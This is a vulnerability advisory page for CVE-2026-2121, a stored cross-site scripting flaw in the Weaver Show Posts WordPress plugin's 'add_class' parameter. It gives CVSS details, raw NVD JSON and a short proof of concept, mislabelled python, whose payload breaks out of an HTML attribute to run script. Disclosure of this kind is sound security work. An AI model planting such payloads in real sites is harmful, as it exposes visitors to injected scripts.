Security Vulnerability Report
中文
CVE-2026-2121 CVSS 4.4 MEDIUM

CVE-2026-2121

Published: 2026-03-21 04:16:58
Last Modified: 2026-04-22 21:32:08

Description

The Weaver Show Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'add_class' parameter in all versions up to, and including, 1.8.1. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This primarily affects multisite installations where Administrators do not have the unfiltered_html capability.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Weaver Show Posts <= 1.8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-2121 * Context: WordPress Admin -> Appearance -> Widgets -> Weaver Show Posts * Parameter: add_class */ // Step 1: Navigate to the widget configuration. // Step 2: Input the following payload into the 'add_class' input field. const payload = '"><script>alert(1);</script><div class="'; // Step 3: Save the widget. // The payload breaks the HTML attribute context: // class="[USER_INPUT]" // Becomes: class=""><script>alert(1);</script><div class="" // Step 4: Visit the frontend page containing the widget. // Result: The alert box will execute, demonstrating Stored XSS.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2121", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:57.603", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Weaver Show Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'add_class' parameter in all versions up to, and including, 1.8.1. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This primarily affects multisite installations where Administrators do not have the unfiltered_html capability."}, {"lang": "es", "value": "El plugin Weaver Show Posts para WordPress es vulnerable a Cross-Site Scripting Almacenado a través del parámetro 'add_class' en todas las versiones hasta la 1.8.1, inclusive. Esto se debe a una sanitización de entrada insuficiente y un escape de salida inadecuado en los atributos proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel de Administrador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto afecta principalmente a instalaciones multisitio donde los Administradores no tienen la capacidad unfiltered_html."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/show-posts/tags/1.8.1/includes/posts-widgets.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/show-posts/tags/1.8.1/includes/posts-widgets.php#L45", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/show-posts/trunk/includes/posts-widgets.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/show-posts/trunk/includes/posts-widgets.php#L45", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e0d525ab-a86d-4750-9d16-731cbc0a626e?source=cve", "source": "[email protected]"}, {"url": "https://youtu.be/kbSqUuEAyho", "source": "[email protected]"}]}}